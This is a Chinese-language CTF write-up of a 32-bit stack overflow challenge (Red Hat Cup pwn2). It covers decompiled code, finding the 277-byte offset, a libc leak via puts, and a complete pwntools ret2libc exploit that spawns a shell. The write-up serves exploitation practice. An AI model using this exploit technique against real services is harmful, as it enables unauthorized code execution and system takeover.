红帽杯的一道pwn2题目,一道蛮简单的栈溢出,给自己练练手了。
先check一下:
可以看见只开了NX,32位程序,扔进IDA来分析:
void sub_8048637()
{
char s; // [esp+7h] [ebp-111h]
char v1; // [esp+107h] [ebp-11h]
size_t nbytes; // [esp+108h] [ebp-10h]
char *v3; // [esp+10Ch] [ebp-Ch]
puts("Welcome to my game server");
puts("First, you need to tell me you name?");
fgets(byte_804A180, 256, stdin);
v3 = strrchr(byte_804A180, 10);
if ( v3 )
*v3 = 0;
printf("Hello %s\n", byte_804A180);
puts("What's you occupation?");
fgets(byte_804A080, 256, stdin);
v3 = strrchr(byte_804A080, 10);
if ( v3 )
*v3 = 0;
printf("Well, my noble %s\n", byte_804A080);
nbytes = snprintf(
&s,
0x100u,
"Our %s is a noble %s. He is come from north and well change out would.",
byte_804A180,
byte_804A080);
puts("Here is you introduce");
puts(&s);
puts("Do you want to edit you introduce by yourself?[Y/N]");
v1 = getchar();
getchar();
if ( v1 == 89 )
read(0, &s, nbytes);
printf("name : %s\noccupation : %s\nintroduce : %s\n", byte_804A180, byte_804A080, &s);
}
程序就是让你输名字和职业,然后有一段可以给你修改的选项,是不是觉得每个fgets都限制了个数,所以溢出点在哪里?
如果暂时找不出是否有溢出,我们可以运行到让程序崩溃,看看到底是否是栈溢出。
OK,可以发现有溢出,那么我们用产生的core文件来调试寻找溢出点
$ ulimit -c 0 #不产生core文件
$ ulimit -c 100 #设置core文件最大为100k
$ ulimit -c unlimited #不限制core文件大小
追踪到0x63,是字母c的十六进制,所以我们可以确定,是在编辑我们信息的时候所发生的栈溢出。
read(0, &s, nbytes); nbytes = snprintf( &s, 0x100u, "Our %s is a noble %s. He is come from north and well change out would.", byte_804A180, byte_804A080);
仔细查看发现nbytes为姓名和职业所输入的字符串的和,所以我们可以推断,read函数中地址s到返回值地址并没有这么大,即使只要姓名和职业的字符串足够长,我们就可以构造栈溢出。
而且姓名和职业是有位数限制的,所以我们只要计算地址s到返回值地址的偏移距离就可以。
s的输入地址
返回值地址,所以偏移量为0xffffcfdc-0xffffcec7 = 277
偏移量有了我们可以开始思考该如何去构造playload,查看文件中的函数
没有system函数,也没有找到/bin/sh字符串,所以我们需要来利用libc来计算出它所利用的libc版本从而计算出system函数以及/bin/sh字符串的地址。
我们利用返回值跳板跳转到puts函数打印出__libc_start_main函数的地址,从而找到libc版本找出system函数以及/bin/sh函数的地址。
这里找libc版本可以利用github上的libc-database。
./get
./find __libc_start_main 0x00000000. (泄漏函数地址)
然后可以自己去库里面拷贝一份相对应的libc出来进行利用。
from pwn import *
p = process('./pwn2')
libc = ELF('./libc.6.so')
elf = ELF('./pwn2')
context.log_level = 'debug'
playload = 'A'*200
p.sendlineafter('tell me you name?',playload)
p.recvuntil('you occupation?\n')
playload1 = 'B'*200
p.sendline(playload1)
p.sendlineafter('by yourself?[Y/N]','Y')
#gdb.attach(p)
playload2 = 'a'*277 + p32(elf.plt['puts']) + p32(0x080485CB) + p32(elf.got['__libc_start_main'])
p.sendline(playload2)
p.recvuntil('a'*277)
p.recvuntil('\x0a\x0a')
libc_main = u32(p.recv(4))
print hex(libc_main)
libc_base = libc_main - libc.symbols['__libc_start_main']
libc_system = libc_base + libc.symbols['system']
libc_bin = libc_base + next(libc.search('/bin/sh'))
print hex(libc_system),hex(libc_bin)
playload = 'A'*200
p.sendlineafter('tell me you name?',playload)
p.recvuntil('you occupation?\n')
playload1 = 'B'*200
p.sendline(playload1)
p.sendlineafter('by yourself?[Y/N]','Y')
#gdb.attach(p)
playload2 = 'a'*277 + p32(libc_system) + p32(0x80485cb) + p32(libc_bin)
p.sendline(playload2)
p.interactive()